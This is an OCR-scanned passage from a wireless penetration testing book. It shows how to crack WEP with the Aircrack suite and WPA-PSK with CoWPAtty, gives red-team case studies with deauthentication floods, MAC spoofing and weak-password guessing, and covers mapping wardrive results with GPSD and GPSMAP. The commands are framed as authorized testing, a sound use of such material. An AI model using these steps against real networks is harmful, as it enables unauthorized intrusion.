| [BJEL

E[ | shell

Cracking WEP with the Aircrack Suite

No wireless penetration test kit is complete without the ability to crack WEP. The
Aircrack Suite of tools provides all of the functionality necessary to successtully crack
WEP, and consists of three tools:

B Airodump Used to capture packets
m  Aireplay Used to perform injection attacks

m  Aircrack Used to actually crack the WEP key

The Aircrack Suite can be started from the command line or using the Auditor
menu system. To use the menu system, right-click on the desktop and navigate to
Auditor | Wireless-WEP cracker | Aircrack suite and select the tool you want
to use.

The first thing you need to do is capture and reinject an ARP packet with
Aireplay. The following commands configure the card correctly to capture an ARP

packet:
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NoTE

These commands are for a Prism2-based WLAN card. If you aren’t using
a Prism2-based card you will need to ensure that your card can be used
with the wlan-ng drivers and determine the correct identifier for your
card (eth0, eth1, and so forth).

switch-to-wlanng
cardctl eject
cardctl insert
monitor.wlan wlan0 CHANNEL NUMBER
cd /ramdisk
aireplay -i wlan0 -b MAC_ADDRESS OF AP -m 68 -n 68 -d ff:ff:ff:ff:ff:.ff
First, tell Auditor to use the wlan-ng driver. The switch-to-wlanng command is an
Auditor-specific command to accomplish this. Then the card must be “ejected” and
“inserted” in order for the new driver to load. The cardctl command, coupled with
the eject and insert switches, accomplish this. Next, the monitorwlan command puts
the wireless card (wlan0) into tfmon, listening on the specific channel indicated by
CHANNEL _NUMBER.
Finally, start Aireplay. Once Aireplay has collected what it thinks is an ARP
packet, you are given information and asked to decide if this is an acceptable packet
for injection. In order to use the packet, certain criteria must be met:

®  FromDS must be 0
®  ToDS must be 1
®  The BSSID must be the MAC address of the target access point
®  The source MAC must be the MAC address of the target computer
®  The destination MAC must be FF:FF:FF:FF:FF:FF
You are prompted to use this packet. If it does not meet these criteria, type n. If
it does meet the criteria, type y and the injection attack will begin.
Aircrack, the program that performs the actual WEP cracking, takes input in pcap
format. Airodump is an excellent choice, because it is included in the Aircrack Suite;

however, any packet analyzer capable of writing in pcap format (Ethereal, Kismet, and
so forth) will work.You must configure your card to use Airodump.
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NoTE

These commands are for a Prism2-based WLAN card. If you aren’t using
a Prism2-based card you will need to ensure that your card can be used
with the hostap drivers, and determine the correct identifier for your
card (eth0, eth1, and so forth).

switch-to-wlanng

cardctl eject

cardctl insert

monitor.wlan wlan0 CHANNEL NUMBER
cd /ramdisk

airodump wlan0 FILE_TO_WRITE_DUMP_TO

Airodump’s display shows the number of packets and IVs that have been col-
lected (see Figure 7.15).

Figure 7.15 Airodump Captures Packets
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Once some IVs have been collected, Aircrack can be run while Airodump is
capturing. To use Aircrack, issue the following commands:

aircrack -f FUDGE_FACTOR -m TARGET MAC -n WEP_STRENGTH -g 3 CAPTURE FILE
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Aircrack gathers the unique IVs from the capture file and attempts to crack the
key. The FUDGE_FACTOR can be changed to increase the likelihood and speed of
the crack. The default FUDGE_FACTOR is 2, but it can be adjusted to between 1
through 4. A higher FUDGE_FACTOR cracks the key faster, but more “guesses’” are
made by the program, so the results aren’t as reliable. Conversely, a lower
FUDGE_FACTOR may take longer, but the results are more reliable. The WEP
strength should be set to 64, 128, 256, or 512 bits, depending on the WEP strength
used by the target access point. A good rule is that it takes around 500,000 unique
IVs to crack the WEP key. This number will vary, and can range from as low as
100,000 to more than 500,000.

Cracking WPA with CoWPAtty

CoWPALtty, by Joshua Wright, is a tool that automates offline dictionary attacks to
which WPA-PSK networks are vulnerable. CoWPAtty is included on the Auditor
CD, and is easy to use. Just as with WEP cracking, an ARP packet needs to be cap-
tured. Unlike WEP, you don’t need to capture a large amount of traffic; you only
need to capture one complete four-way EAPOL handshake and have a dictionary
file that includes the WPA-PSK passphrase.

Once you have captured the four-way EAPOL handshake, right-click on the
desktop and select Auditor | Wireless | WPA cracker | Cowpatty (WPA PSK
bruteforcer). This opens a terminal window with the CoWPAtty options.

Using CoWPAtty s fairly straightforward. You must provide the path to your
wordlist, the .dump file where you captured the EAPOL handshake, and the SSID of
the target network (see Figure 7.16).

cowpatty -f WORDLIST -r DUMPFILE -s SSID

Case Study

Now that you have an understanding of the vulnerabilities associated with wireless
networks and the tools that are available to exploit those vulnerabilities, it’s time to
look at how an actual penetration test might take place against a wireless network.
First, we focus on a network using WEP encryption, and then we look at a WPA-
PSK-protected network.
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Figure 7.16 CoWPAtty in Action

[~ 5]
) = . T

»

Session Edit Wiew Bookmarks Settings Help

root@ [knoppix]# cowpatty -f Desktop/words.txt -r DesktopfAuditor-Kisrret-Nov-ll-Zl
2005-1.dump -s RoamerRules
cowpatty 2.0 - WPA-PSK dictionary attack. <jwright@hasborg. com=

Collected all necessary data to mount crack against passphrase.
Starting dictionary attack. Please be patient.

key no, 1000: Obuzzer

key no. 2000: Gelysian

key no. 3000: Oinbreed

key no, 4000: Opacify
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;.n<>
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Case Study Cracking WEP

You have been assigned to perform a red team penetration test against Roamer
Industries. You have been given no information about the wireless network or the
internal network.You have to use publicly available sources to gather information.
You know that Roamer Industries has deployed a wireless network, but that is all of
the information you have.

Before you do anything else, you investigate the company by performing
searches on Google and other available search engines, as well as the USENET
newsgroups. You also go to the Roamer Industries public Web site to look for infor-
mation and perform an ARIN WHOIS lookup on the IP address of their Web site.
Quite a bit of important information is gleaned from these searches. The address of
their office complex is listed on their Web site. The WHOIS lookup reveals the
name and e-mail address of an individual that you discover is a system administrator,
judging from the posts he has made on USENET. Additionally, you discover that
they are using Microsoft Structured Query Language (SQL) server on at least one
system, because that administrator described a configuration issue he was having
while setting the server up on a Microsoft Structured Query Language (MSSQL)
newsgroup.

Since you have been specifically tasked to test the WLAN, you note the address
of the oftice complex where the WLAN is located and head to that area. Upon
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arrival, you fire up Kismet and drive around the building several times. You find 23
access points in the area of your target; 15 of them are broadcasting the SSID, but
none are named Roamer Industries. This means that you have to gather the SSIDs of
the other eight (obviously cloaked) networks. Since you don’t want to inadvertently
attack a network that does not belong to your target and thus violate your Rules of
Engagement, you have to be patient and wait for a user to authenticate so that you
can capture the SSIDs. It takes most of a day to gather the SSIDs of the eight
cloaked networks, but once you have them all, you can try to determine which net-
work belongs to your target. None of the SSIDs are easily identifiable as belonging
to them, so you go back to Google and perform searches for each SSID you discov-
ered. About halfway through the list of SSIDs you see something interesting: one of
the SSIDs is InfoDrive. Your search for InfoDrive Roamer Industries locates a page on
the Roamer Industries Web site describing a research and development project
named InfoDrive. While it is almost certain that this is your target’s network, before
proceeding, you contact your white cell to ensure that this is their network. Once
you have confirmation, you are ready to continue on with your penetration test.

Opening the Kismet dumps with Ethereal, you discover that WEP encryption is
in use on the InfoDrive network. Now you are ready to start your attack against the
WLAN. First, you fire up Aireplay and configure it to capture an ARP packet that
you can inject into the network and generate the traffic necessary to capture enough
unique Vs to crack the WEP key. Once Aireplay is ready, you start Void11 and per-
form a deauthentication flood. Within a few minutes, Aireplay has captured a packet
that it believes is suitable for injection (see Figure 7.17).

Figure 7.17 Aireplay Searches for a Suitable Packet for Injection

) L] =l 181X
Session Edit View Bookmarks Settings Help
-0 fc@ : set frame control[0] (hex) Z[
-p fel : set frame control[1] (hex)
-k 1 turn chopcheop attack on

root@3[knoppix]# switch-to-wlanng
cp: cannot create regular file "/etc/pomcia/wlan-ng': Read-only file system
cp: cannot create regular file '/etc/pemcia/wlan-ng.conf': Read-only file system
root@3[knoppix]# cardctl eject
root@3[knoppix]# cardctl insert
root@3[knoppix]# monitor.wlan wlan@ 9
message=lnxreq wlansniff
enable=true
channel=9
prismheader=false
wlanheader=false
keepwepflags=true
stripfes=true
packet_trunc=no_wvalue
resultcode=success
root@3[knoppix]# cd /ramdisk
root@3[ramdisk]# aireplay -i wlan@ -b ©0:13:10:d3:80:1c -m 68 -n 68 -d ff:ff:ff:
FfFF: fF
Option -x not specified, assuming 256.
Seen 25113 packets. ..[]

E M| shell
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Based on your criteria, you decide that this packet is probably going to work
and begin the injection attack. Now that Aireplay is injecting traffic, you start
Airodump to collect the packets and determine the number of unique IVs you have
captured. Aireplay works quickly, and after about 20 minutes you have collected over
200,000 unique IVs.You decide it is worth checking to see if you have gathered
enough IVs for Aircrack to successfully crack the WEP key. Once you have fired up
Aircrack and provided your Airodump capture file as input, you find that you have
not collected enough IVs yet.You continue your injection and packet collection for
another 15 minutes, at the end of which you have collected over 370,000 unique
IVs.You try Aircrack again. This time, you are rewarded with the 64-bit WEP key
“2df6ef3736.”

Armed with your target’s WEP key, you configure your wireless adapter to asso-
ciate with the target network:

iwconfig wlan0 essid "InfoDrive" key:2dfeef3736

Issuing the iwconfig command with no switches returns the information about
the access point that you are currently associated with. Your association was suc-
cessful (see Figure 7.18).

Figure 7.18 Successful Association to the Target WLAN
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root@3[ ramdisk]# iwconfig 3
lo no wireless extensions.
etho no wireless extensions.

wlang IEEE 802.11-DS ESSID: "InfoDrive" MNickname:"InfoDrive"
Mode:Managed Frequency:2.452 GHz Access Point: 00:13:10:03:80:1C
Bit Rate:2 Mb/s  Tx-Power:2346 dBm
Retry min limit:8 RTS thr:off  Fragment thrioff
Encryption key: off
Link Quality=0/92 Signal level=-69 dBm MNoise level=-90 dBm
Rx invalid nwid:® Rx invalid crypt:@ Rx invalid frag: 0
Tx excessive retries:0 Invalid misc:0@ Missed beacon:0

root@:[ ramdisk]# []
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Now that you have associated, you need to see if you can get an IP address and
connect to the network resources. First, you try running dhclient wlan0 to see if
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they are serving DHCP addresses. This doesn’t work, so you go back to Kismet and
look at the IP range that Kismet discovered. Kismet shows that the network is using
the 10.0.0.0/24 range.You have to be careful here, because you don’t want to take
an IP address that is already in use.You look at the client list in Kismet and deter-
mine that 10.0.0.69 is available. Now you have to make some educated guesses as to
how the network is set up. First, you try configuring your adapter with a default
subnet mask of 255.255.255.0 and 10.0.0.1 as the default gateway:

ifconfig wlan0 10.0.0.69 netmask 255.255.255.0
route add default gw 10.0.0.1

Next, you ping the router to see if you have connectivity. Sure enough, you do.
At this point, you have successfully established a foothold on the wireless network.
Now you can probe the network for vulnerabilities and continue your red team
engagement. The first avenue to explore would be the MS SQL server, since you
know that this is a service that is often configured in an insecure manner. Since your
target’s administrator was asking for configuration help on a public newsgroup,
chances are that he or she is not an extremely experienced MS SQL administrator,
so your chances are good. From here, you continue your penetration test following
your known methodologies. The WLAN was the entry vector you needed.

Case Study: Cracking WPA-PSK

Thanks to the success of your penetration test of Roamer Industries, you have been
contracted to perform a similar penetration test on the Law Offices of Jack Mason.
Once again, you find valuable information about your target. In addition to the
address of your target’s offices, you harvest 12 different e-mail addresses from your
Google and USENET searches.

When you arrive at the target, you drive around the perimeter of the building
where your target’s office is located. Using Kismet, you discover 15 WLANSs in the
area, ten of which are broadcasting the SSID, including one called “Mason.” You
open your Kismet .dump with Ethereal and discover that this network is using WPA.
Since you have CoWPAtty in your arsenal, you are ready to try to crack the WPA
passphrase. First, you take a look at the client list using Kismet and see that three
clients are associated to the network. This is going to make your job a bit easier,
because you can send a deauthentication flood and force these clients to reassociate
to the network, thus allowing you to capture the four-way EAPOL handshake. To
accomplish this, you fire up Void11 and send deauthentication packets for a couple
of minutes. Once you feel like you have captured the EAPOL handshake, you end
your deauthentication.
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Since Kismet saves all of the packets collected in the .dump file, you use this as
your input file for CoWPAtty. You provide CoWPAtty with the path to your dictio-
nary file, the SSID of your target, and the path to your Kismet .dump file.
CoWPAtty immediately lets you know that you have successtully captured the four-
way handshake, and begins the dictionary attack.You have an extensive wordlist, so
you sit back and wait. After about 20 minutes, CoWPAtty determines the passphrase
is “Syngress” and you are ready to proceed with your intrusion (see Figure 7.19).

Now that you have cracked the passphrase, you edit the wpa_supplicant.conf, file,
where WPA network information and configuration is stored, to reflect the correct
SSID and PSK.

network={
ssid="Mason"
psk="Syngress"

}

Figure 7.19 CoWPAtty Cracks the WPA Passphrase
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root@ [knoppix]# []
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After editing the conf file, you restart the wpa_supplicant and check for association
with the Mason network by issuing the iwconfig command with no parameters. An
association was not made. It appears that your target has taken a step to restrict access.
You make an educated guess that they are using MAC address filtering to accomplish
this. Once again, you look at the client list using Kismet and copy down the MAC
addresses of the three clients that are associated with the network.You don’t want to
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use these while the clients are on the network; therefore, you have to sit back and wait
for one of them to drop oft. After a couple of hours, one of the clients does drop off,
and you change your MAC address using the Change-Mac utility (included with
Auditor) to the MAC of the client that just left the network.

Now that your MAC has been changed, you once again try to associate to the
network by restarting the supplicant. This time, you are successful. Now, you try
issuing the dhclient wlan0 command to see if a DHCP server is connected to the
network. Luckily for you, one is. You are assigned an address, subnet mask, and
default gateway, and are also assigned Domain Name Server/Service (DNS) servers.

Now that you have your foothold on the network, it’s time to propagate. Since
your information gathering didn’t turn up much useful information about specific
servers and services that are on the network, you decide to use the information you
were able to gather to your advantage. Your first path of attack is to take the user
names you gleaned from the collected e-mail addresses (e.g., if an e-mail address is
jack@Mason.org there is a good chance that “jack” is the network username) and
try to find blank or weak, easily guessable passwords. Now that you have your initial
foothold into the network and are armed with possible user names, you have a lot of
options open as to how you proceed with your penetration test.

Further Information

In addition to Auditor, some other outstanding tools to be aware of when penetra-
tion testing are NetStumbler (for Windows) and KisMAC (for Mac OS X).
Netstumbler is an active scanner, so its application is limited; however, it can be an
outstanding resource, particularly due to its excellent Signal to Noise Ratio (SNR)
display. KisMAC, on the other hand, is a fantastic tool for penetration testers.
KisMAC provides the ability to perform both active and passive scanning and has a
strong graphical signal display. Additionally, the functionality of many of the tools
discussed in this chapter is built into KisMAC including deauthentication, packet
injection, WEP cracking, and WPA cracking.

For a quick tool to change MAC addresses, SirMACsAlot (www.securitytribe.
com/~roamer/SirMACsAlot.tar.gz) provides a simple, command-line interface for
changing MAC addresses.

This list is still not complete. More tools are released every day, so it is important
to stay current and understand the tools you need and what tools are available.
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Additional GPSMap Map Servers

TerraServer satellite maps (such as those shown in Figure 7.3) are not the only types

of maps available. GPSMap allows you to generate maps from a number of different

sources and types. The following list shows the map server options and types avail-

able for GPSMap:

-S-1 Creates a representation of the networks with no background map.
-S0 Uses Mapblast

-S1 Uses MapPoint (this functionality does not work as of the time of this
writing)

-S2 Uses TerraServer satellite maps
-S3 Uses vector maps from the US Census
-S4 Uses vector maps from EarthaMaps

-S5 Uses TerraServer topographical maps

Solutions Fast Track

Core Technologies

]

4]
|
|
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The first technology to understand is WLAN technology
There are two types of scanners
Active scanners rely on the SSID broadcast beacon

Passive scanners utilize monitor mode (rfmon) and can identify cloaked
access points

There are four primary types of encryption used on wireless networks
1. Wired Equivalent Privacy (WEP) encryption

2. WiFi Protected Access (WPA/WPA2) encryption

3. Extensible Authentication Protocol (EAP)

4. Virtual Private Networking (VPN)

There are attack mechanisms against each type of encryption used on
wireless networks
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5. WEP is vulnerable to FMS attacks and chopping attacks
6. WPA is vulnerable to dictionary attacks.
7. Cisco’s LEAP is vulnerable to dictionary attacks

8. VPN are usually not directly vulnerable, but can be compromised using
indirect means

Open Source Tools

™
|

&

N ®

Footprinting tools

GPSMap is a tool, included with Kismet, that is perfect for determining the
wireless footprint of your target organization.

Intelligence gathering tools

Just like on any penetration test, Internet search engine queries and
USENET newsgroup searches are perfect for intelligence gathering.

Scanning tools

There are two WLAN scanning tools included with Auditor.
9. Wellenreiter

10. Kismet

Enumeration tools

Due to its ability to determine associated client information, Kismet is the
perfect wireless enumeration tool for penetration testers.

Vulnerability assessment tools

11. Determining the encryption type is one of the best ways to ascertain
the vulnerability status of a wireless network. Auditor provides two
tools that are perfect for this.

12. Kismet shows the strength of encryption in use.

13. Since Kismet isn’t always accurate in determining WPA, Ethereal can
be used to determine the strength by examining the packets that have
been captured.

Exploitation tools
14. Auditor provides a rich suite of exploitation tools.

15. Mac-Changer can be used to spoof MAC addresses.
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16. Since deauthentication of clients associated to the network is often
required, Auditor provides Void-11.
17. The Aircrack suite is perfect for injection and WEP cracking.

18. CoWPALtty is included for cracking WPA passphrases, but you need to
make sure you get a strong dictionary file or wordlist.

Frequently Asked Questions

The following Frequently Asked Questions, answered by the authors of this book,
are designed to both measure your understanding of the concepts presented in
this chapter and to assist you with real-life implementation of these concepts. To
have your questions about this chapter answered by the author, browse to
www.syngress.com/solutions and click on the “Ask the Author” form.

Q.

A.

Why would I use a Live CD distribution instead of just installing Linux on my
system?

A Live CD can be beneficial because the drivers, tools, and libraries for most sys-
tems are already compiled and ready to go; you don’t need to worry about
ensuring that the proper.dependencies have been satisfied. Also, some organiza-
tions want to approve your system prior to allowing you to connect to a net-
work. In these situationsyyou can send them the CD for approval prior to your
arrival and speed up the process.

. What tools are missing from BackTrack that are on-Auditor?

. The most important tools that are missing from a wireless perspective are

GPSMap, Void11, and Wellenreiter.

. Is there a way to spoof my MAC address from the.command line and skip using

a tool?

. Yes. The ifconfig command can be used:

ifconfig wlan0 hw ether 00:00:00:00:00:00

where 00:00:00:00:00:00 is the MAC address you wish to use.
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Mapping WarDrives
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Introduction

One of the best things you can do WarDriving is to map out your results. The maps
generated from a WarDrive are beneficial for identifying the correct Wireless Local
Area Network (WLAN) of your target and for determining the maximum distance
you can be from your target and still access the network.

This chapter shows you how to use two of the most popular mapping applica-
tions: GPSMAP for Linux (Kismet) and Stumbverter for Windows (NetStumbler).

Using the Global Positioning
System Daemon with Kismet

In order to map WarDrive results garnered with Kismet, you need to install and con-
figure Global Positioning System Daemon (GPSD), which is a Linux add-on
daemon written by Russ Nelson (available for download at
http://www.pygps.org/gpsd/downloads/). The current version of GPSD is gspd-
1.10. This section details the installation and usage of GPSD with Kismet.

NoTEe

GPSD is not required in order to successfully use Kismet. If you do not
intend to map your results, you can skip this section.

Installing GPSD

Installing GPSD is a very straightforward process. First, download gpsd-1.10.tar.gz
from www.pygps.org/gpsd/downloads/gpsd-1.10.tar.gz (see Figure 8.1).

Next, make sure that you have changed to the root user to begin the installation
of GPSD. First you need to uncompress and untar the gpsd-1.10.targz.:
# tar -xvzf gpsd-1.10.tar.gz

This creates the gpsd-1.10 directory tree. Next, change the directory to gpsd-1.10
(see Figure 8.2).
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Figure 8.1 Downloading GPSD
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g psd-1.06.tar.qz BEF) Select the destination filename X
gpsd-1.07.tar.g: 27-
.[j' ;rl‘m.t::‘ ‘ 5. MNewFolder | DeleteFile | Rename File
/home/chris
Folders = | Files =
, [FIRA
) horrarscope jpg
Deskiopt kismet-3.0.1 tar
Mailr kismet-feb.04.01 tar
Triliant kismet conf
e:ﬂlah kismet conf ORINOCO
ansd-1 10/ E !%
Selection: /home/chris
gpsd-1.10tar.gz
X cancel  ” ok
Figure 8.2 Changing to the gpsd-1.10 Directory
=] Terminal —_Ox
Eile Edit Wiew Terminal Go Help
gpsd-1.108/configure.in [+]
gpsd-1.18/display.c
gpsd-1.10/em.c
gpsd-1.10/gps.c
gpsd-1.10/gps.h
gpsd-1.10/gpsd.c
gpsd-1.10/gpsd.h
gpsd-1.10/gpsd. Lsm
gpsd-1.18/netlib.c
gpsd-1.18/nmea.h
gpsd-1.10/nmea_parse.c
gpsd-1.10/send_nmea.c
gpsd-1.10/serial.c
gpsd-1.10/tm.c
gpsd-1.10/version.h
gpsd-1.10/xgpsspeed.c
gpsd-1.10/xgpsspeed.h
gpsd-1.10/xgpsspeed. icon
gpsd- 1. 10/README . protocol
gpsd-1.10/gpsplay.c
gpsd-1.18/1nstall-sh
gpsd-1.10/mkinstalldirs
root@roamer: /home/chris# el CRRNL]
root@roamer: fhome/chris/gpsd-1.10# || =
WWW.S ss.com
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Once the GPSD installation scripts are uncompressed and untarred, the installa-

tion of GPSD is a simple three step process.
1. Execute the configure script.
2. Compile the GPSD binaries.
3.

Copy the GPSD binaries to your desired location.

First, execute the configure script by issuing the . /configure command. Next, issue
the make command to compile the GPSD binaries. Finally, the GPSD binaries (gps
and gpsd) must be copied to the locations from which they can be executed. The
app-defaults file must also be copied to the appropriate directory. Issuing the make

install install command accomplishes this (see Figure 8.3).

Figure 8.3 Issuing the make install Command

a Terminal
Eile Edit View Terminal Go Help
1ICE -1x11 -Im -1lc

root@roamer: /home/chris/gpsd-1.10# 1s

CHANGELDG Tachometer.o display.o gpsplay*
COPYING TachometerP.h em. c gpsplay.c
Gps XGpsSpeed em. o gpsplay.o
INSTALL acconfig.h gps* install-sh*
Makefile aclocal.md gps.c libgpsd.a
Makefile.in config.h gps.h mkinstalldirs#
README config.h.in gps.o netlib.c
README .EarthMate config.log gpsd+ netlib.o
README.protocol  config.status* gpsd.c nmea.h

TODO configure# gpsd.h nmea_parse.c
Tachometer.c configure.in gpsd.lsm nmea_parse.o
Tachometer.h display.c gpsd.o send_nmea.c

root@roamer: /home/chris/gpsd- 1. 10#fUELCIENERE]RN

./mkinstalldirs /usr/local/bin
./mkinstalldirs /usr/local/sbin
for app in gpsd gpsplay; do \
Jusr/bin/ginstall -c -m 755 $app /usr/locals/sbin ; \
done
for app in xgpsspeed gps;
fusr/bin/ginstall

do %\

-c -m 755 $app Jusr/local/bin ; \
done

root@roamer: /home/chris/gpsd-1.10# I

send_nmea.o
serial.c
serial.o
tm. c

tm. o
version.h
xgpsspeed*
xgpsspeed. c
xgpsspeed.h
xgpsspeed. icon
xgpsspeed.o

Now that you have successfully installed GPSD, you are ready to start the

daemon and use it with Kismet. Verity that the gps and gpsd binaries were success-
fully copied to the appropriate directories by issuing the which command for each
(see Figure 8.4). The output of which displays the full path to the command that it

was issued against.
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Figure 8.4 Verifying the Installation of GPS and GPSD

=] Terminal -0 X
Eile Edit View Terminal Go Help

Gps XGpsSpeed em. o gpsplay.o serial.o =
INSTALL acconfig.h gps* install-sh#* tm.c

Makefile aclocal.m4 gps.c libgpsd.a tm. o

Makefile.in config.h gps.h mkinstalldirs* version.h

README config.h.in gps.o netlib.c xgpsspeed*
README.EarthMate config.log gpsd+ netlib.o xgpsspeed.c
README.protocol  config.status* gpsd.c nmea.h xgpsspeed.h

TODOD configure* gpsd.h nmea_parse.c xgpsspeed.icon
Tachometer.c configure.in gpsd.lsm  nmea_parse.o xgpsspeed. o
Tachometer.h display.c gpsd.o send_nmea.c

root@roamer: /home/chris/gpsd-1.10# make install
./mkinstalldirs /usr/local/bin
./mkinstalldirs /fusr/local/sbin
for app in gpsd gpsplay; do \

Jusr/bin/ginstall -c -m 755 $app /usr/local/sbin ; \
done
for app in xgpsspeed gps; do \

Jusr/bin/ginstall -c -m 755 $app Jusr/local/bin ; \

done
root@roamer: /home/chris/gpsd-1.10# which
/usr/local/bin/gps

root@roamer: /home/chris/gpsd-1.10# which
/usr/local/sbin/gpsd
root@roamer: /home/chris/gpsd-1. 10#

Starting GPSD

There are two ways to use GPSD with Kismet:

m  Serial data cable

m  Universal Serial Bus (USB) data cable

The following two sections examine the commands required to start GPSD on
each of them.

Starting GPSD with Serial Data Cable

The most common way to use GPSD is with a serial data cable. Because of the
nature of serial ports, it is a good idea to connect your GPS’ serial data cable prior to
booting your Linux distribution. If you connect your serial data cable after Linux has
already booted, it may not be recognized.

Connect your GPS’ serial data cable to your serial port with the computer
turned off. Next, turn on your GPS unit and allow it time to acquire a signal. Once
a signal 1s acquired, start the GPS daemon (see Figure 8.5).
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NoTE
You must have root privileges to start the GPSD.

Figure 8.5 Starting GPSD with a Serial Data Cable

a Terminal - Ox

Eile Edit View Terminal Go Help
root@roamer: /home/chris# gpsd -s 4800 -d localhost -r 2947 -p /dev/ttySO
root@roamer: /home/chris#

This starts GPSD listening on port 2947.You can verify that GPSD is listening
on this port by opening a Telnet session to it (see Figure 8.6).

Notes from the Underground...

GPS Data Formats

In order for Kismet to correctly receive GPS data, it is very important to use the
correct data format on your GPS unit. Many GPS units support more than one
format. For instance, Garmin GPS units support seven different output formats:

B Garmin Proprietary format

www.syngress.com
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Garmin Differential Global Positioning System (DGPS) format
National Marine Electronics Association (NMEA) format

Text Format
Radio Technical Commission for Maritime (RTCM) services format

RTCM/NMEA format
m RTCM/Text format

to the User’s Guide that came with the unit.

Some WarDriving applications (e.g., NetStumbler) support multiple formats.
NetStumbler supports both NMEA and Garmin proprietary formats. However, in
order for Kismet to correctly gather GPS data, you must set your GPS unit to the
NMEA format. If you are unsure how to set your GPS unit to NMEA format, refer

Figure 8.6 Establishing a Telnet Session with GPSD

a Terminal

File Edit View Terminal Go Help

GPSD

GPSD

root@roamer: /home/chris# gpsd -s 4800 -d localhost -r 2947 -p /dev/ttySe =
root@re home/chris# telnet localhost 2947

Trying 127.0.0.1...

Connected to localhost.

Escape character is '"]'.

Starting GPSD with USB Data Cable

Many newer laptops do not ship with a serial port. This poses a problem for many
WarDrivers, because most data cables that can be purchased for handheld GPS units
require a serial port. Don’t despair; there is a workaround available. Simply purchase

a serial to USB adapter (Belkin makes one that many WarDrivers have had success
with) and connect your data cable to it. The command to start GPSD with a USB to

Serial converter 1s:

# gpsd -p /dev/ttyUSBO

225
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NoTEe

You must have root privileges to start the GPSD.

Configuring Kismet for Mapping

Now that you have installed Kismet and GPSD, you are ready to modify the Kismet
configuration files so that Kismet will work on your system. Unlike many Windows
programs (such as NetStumbler) that work as soon as they are installed, Kismet must
be tailored to fit your specific system.

Enabling GPS Support

In order to use GPSD, the default settings in the kismet.conf are acceptable. By
default, Kismet is configured to use a GPS device and listen on port 2947 (see
Figure 8.7).

Figure 8.7A Kismet Configured to Use a GPS

Terminal —-OX
File Edit View Terminal Go Help
H Kismet config file =
¢ Most of the "static" configs have been moved to here -- the command line
¥ config was getting way too crowded and cryptic. We want functionality,

¢ not continually reading --help!

¥ Version of Kismet config
yersion=Feb.04.01a

¢ Mame of server (Purely for organiational purposes)
ervername=Kismet

# User to setid to (should be your normal user)
uiduser=

¢ Docs to come soon, see kis_packsources.cc for now for all the card types
ource=cisco,ethd,ciscosource

Other common source configs:

prism2, wlan®, prismZsource

prismzZ_avs,wlan®,newprismzsource

source=orinoco,eth®, orinocosource

H—H— T

Comma- separated list of sources to enable. This is only needed if you wish
to selectively enable multiple sources.

For example:

enablesources=prismsource,ciscosource

H—H— T
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Figure 8.7B Kismet Configured to Use a GPS

# Do we channelhop?
channelhop=true

# How many channels per second do we hop? (1-10)
channelvelocity=5

channelsplit=true

Users outside the US might want to use this list:
defaultchannels=IEEE80211b:1,7,13,2,8,3,14,9,4,10,5,11,6,12
defaultchannels=IEEE8®Z211b:1,6,11,2,7,3,8,4,9,5,10

H o4

# 802.11g uses the same channels as 802.11b. ..
defaultchannels=IEEEBO211g:1,6,11,2,7,3,8,4,9,5,10

802.11a channels are non-overlapping so sequential i1s fine.

ead kismet.conf, 316 lines, 12437 chars

# Do we split channels between cards on the same spectrum? This means if

# multiple 802.11b capture sources are defined, they will be offset to cover
# the most possible spectrum at a given time. This also controls splitting
# fine-tuned sourcechannels lines which cover multiple interfaces (see below)
C

# Basic channel hopping control:

# These define the channels the cards hop through for various frequency ranges
# supported by Kismet. More finegrain control is available via the

# "sourcechannels” configuration option.

#

# Don't change the IEEE88211l<x> identifiers or channel hopping won't work.

# You may want to
# adjust the list depending on the channels your card actually supports.

# defaultchannels=IFEE80211a: 36,40, 44,48,52,56,60, 64, 100, 104, 108,112, 116, 120, 124
R

+

Mapping WarDrives with GPSMAP

GPSMAP is a full-featured mapping program that is included with Kismet.
GPSMAP allows you to create a large number of different maps and types of maps
from your WarDrive data collected with Kismet. GPSMAP is installed when you
install Kismet, but requires that Image Magick is installed on your system. In order

to use GPSMAP, you must first perform a WarDrive with a GPS reporting coordi-

nates to Kismet, and the kismet.conf configured to use the GPS data.

Creating Maps with GPSMAP

To create a simple topographic map that displays the route you took, issue the fol-

lowing command:

# gpsmap -S5 -t *.gps

The -85 switch tells GPSMAP to download a topographical map from
Terraserver. The -t switch tells GPSMAP to create a map of the route taken.
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While a route map is nice, it doesn’t plot the coordinates of the access points
discovered. To do this, you need to use the -a switch (see Figure 8.8).

# gpsmap -S5 -a *.gps

Figure 8.8 A Map of the Access Points Discovered

These maps are nice, but the more impressive maps are generated using range
circles showing how far from the estimated location of the access point you can still
detect a signal. These are created with the -r switch.

# gpsmap -S5 -r *.gps

Figure 8.9 Map of Access Points with Range Circles

= % %
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Range circle maps are nice, but on a topographical map, they don’t always have
the impact you are looking for. Luckily, you can download satellite maps from
Terraserver with the -S2 switch (see Figure 8.10).

# gpsmap -S2 -r *.gps

Figure 8.10 Range Satellite Map

#

Range circle maps can be very effective for penetration testing, because you can
determine how far away you can mount an attack. However, before you move on to
your attacks, it is a good idea to generate a map showing only the Service Set
Identifier (SSID) of your target networks. It can be time consuming to determine
the Mandatory Access Control (MAC) addresses manually. Luckily, the grep and cut
commands make it easier.

Using the comma separated value (.csv) file, Kismet generated from your
WarDrive issues the following command:

# grep <SSID> ./*.csv | cut -4 ";" -f 4

You should replace <SSID> with the actual SSID of your target. For instance, if
you are looking for the MAC addresses of all of the access points with SSID “stay-
online” you would use:

# grep stayonline ./*.csv | cut -d ";" -f 4

229
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The output from this command is a listing of the MAC addresses of all the
access points discovered with the SSID stayonline (see Figure 8.11).

Figure 8.11 Filter List of MAC Addresses

chris@submit: ~/wardrives E]@E]
File Edit Wiew Terminal Tabs Help

[+]

chris@submt ~/wardrives $ grep stayonline ./*.csv | cut -d ";" -f 4
00:16:45:2C:3D:70
00:16:46:F8:77:40
00:16:465:F8:9D:70

00:15:F9: AG:ES: 30
00:16:46:2C:3D:70
00:16:45:F8:77:40
00:15:F9:A6:ES:30
00:16:46:F8:9D:70
00:16:46:F8:9D:70

0Q:15:F9: A6:E3:30
00:16:46:2C:3D0:7Q
00:16:45:F8:77:40
chris@submt ~/wardrives % D

(]

Now you can create a map of only the access points you want, using the -f and
-1 switches (see Figure 8.12).

# gpsmap -S2 -r -f <Comma Seperated List of MACS> -i ./*.gps

Figure 8.12 Map Showing Desired Access Points
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This map can be used to effectively plan out a wireless penetration test.

One final switch to be aware of when using GPSMAP is the -0 switch. By default,
the map is generated and named after the map file coordinates (e.g., map_35.900002_-
76.349329_11024_1280_1024.png). This is obviously a cumbersome naming conven-

tion. The -o switch allows you to name the map whatever you want.

